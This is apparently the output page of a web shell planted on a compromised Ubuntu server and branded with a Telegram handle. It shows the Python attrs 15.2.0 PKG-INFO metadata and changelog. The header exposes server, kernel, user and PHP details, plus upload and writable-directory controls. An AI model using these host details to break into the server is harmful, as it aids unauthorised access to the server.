https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /usr/lib/python2.7/dist-packages/attrs-15.2.0.egg-info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/dist-packages/attrs-15.2.0.egg-info/PKG-INFO
Metadata-Version: 1.1
Name: attrs
Version: 15.2.0
Summary: Attributes without boilerplate.
Home-page: https://attrs.readthedocs.org/
Author: Hynek Schlawack
Author-email: hs@ox.cx
License: MIT
Description: ======================================
        attrs: Attributes without boilerplate.
        ======================================
        
        .. image:: https://travis-ci.org/hynek/attrs.svg
           :target: https://travis-ci.org/hynek/attrs
           :alt: CI status
        
        .. image:: https://codecov.io/github/hynek/attrs/coverage.svg?branch=master
           :target: https://codecov.io/github/hynek/attrs?branch=master
           :alt: Coverage
        
        .. teaser-begin
        
        ``attrs`` is an `MIT <http://choosealicense.com/licenses/mit/>`_-licensed Python package with class decorators that ease the chores of implementing the most common attribute-related object protocols:
        
        .. code-block:: pycon
        
           >>> import attr
           >>> @attr.s
           ... class C(object):
           ...     x = attr.ib(default=42)
           ...     y = attr.ib(default=attr.Factory(list))
           >>> i = C(x=1, y=2)
           >>> i
           C(x=1, y=2)
           >>> i == C(1, 2)
           True
           >>> i != C(2, 1)
           True
           >>> attr.asdict(i)
           {'y': 2, 'x': 1}
           >>> C()
           C(x=42, y=[])
           >>> C2 = attr.make_class("C2", ["a", "b"])
           >>> C2("foo", "bar")
           C2(a='foo', b='bar')
        
        (If you don’t like the playful ``attr.s`` and ``attr.ib``, you can also use their no-nonsense aliases ``attr.attributes`` and ``attr.attr``).
        
        You just specify the attributes to work with and ``attrs`` gives you:
        
        - a nice human-readable ``__repr__``,
        - a complete set of comparison methods,
        - an initializer,
        - and much more
        
        *without* writing dull boilerplate code again and again.
        
        This gives you the power to use actual classes with actual types in your code instead of confusing ``tuple``\ s or confusingly behaving ``namedtuple``\ s.
        
        So put down that type-less data structures and welcome some class into your life!
        
        .. note::
           I wrote an `explanation <https://attrs.readthedocs.org/en/latest/why.html#characteristic>`_ on why I forked my own ``characteristic``.
           It's not dead but ``attrs`` will have more new features.
        
        ``attrs``\ ’s documentation lives at `Read the Docs <https://attrs.readthedocs.org/>`_, the code on `GitHub <https://github.com/hynek/attrs>`_.
        It’s rigorously tested on Python 2.6, 2.7, 3.3+, and PyPy.
        
        
        Changelog
        =========
        
        Versions are year-based with a strict backwards compatibility policy.
        The third digit is only for regressions.
        
        
        15.2.0 (2015-12-08)
        -------------------
        
        
        Changes:
        ^^^^^^^^
        
        - Add a ``convert`` argument to ``attr.ib``, which allows specifying a function to run on arguments.
          This allows for simple type conversions, e.g. with ``attr.ib(convert=int)``.
          `[26] <https://github.com/hynek/attrs/issues/26>`_
        - Speed up object creation when attribute validators are used.
          `[28] <https://github.com/hynek/attrs/issues/28>`_
        
        
        15.1.0 (2015-08-20)
        -------------------
        
        
        Changes:
        ^^^^^^^^
        
        - Add ``attr.validators.optional`` that wraps other validators allowing attributes to be ``None``.
          `[16] <https://github.com/hynek/attrs/issues/16>`_
        - Fix multi-level inheritance.
          `[24] <https://github.com/hynek/attrs/issues/24>`_
        - Fix ``__repr__`` to work for non-redecorated subclasses.
          `[20] <https://github.com/hynek/attrs/issues/20>`_
        
        
        15.0.0 (2015-04-15)
        -------------------
        
        
        Changes:
        ^^^^^^^^
        
        Initial release.
        
Keywords: class,attribute,boilerplate
Platform: UNKNOWN
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Natural Language :: English
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python
Classifier: Programming Language :: Python :: 2
Classifier: Programming Language :: Python :: 2.6
Classifier: Programming Language :: Python :: 2.7
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.3
Classifier: Programming Language :: Python :: 3.4
Classifier: Programming Language :: Python :: 3.5
Classifier: Programming Language :: Python :: Implementation :: CPython
Classifier: Programming Language :: Python :: Implementation :: PyPy
Classifier: Topic :: Software Development :: Libraries :: Python Modules

https://t.me/RX1948 - 2025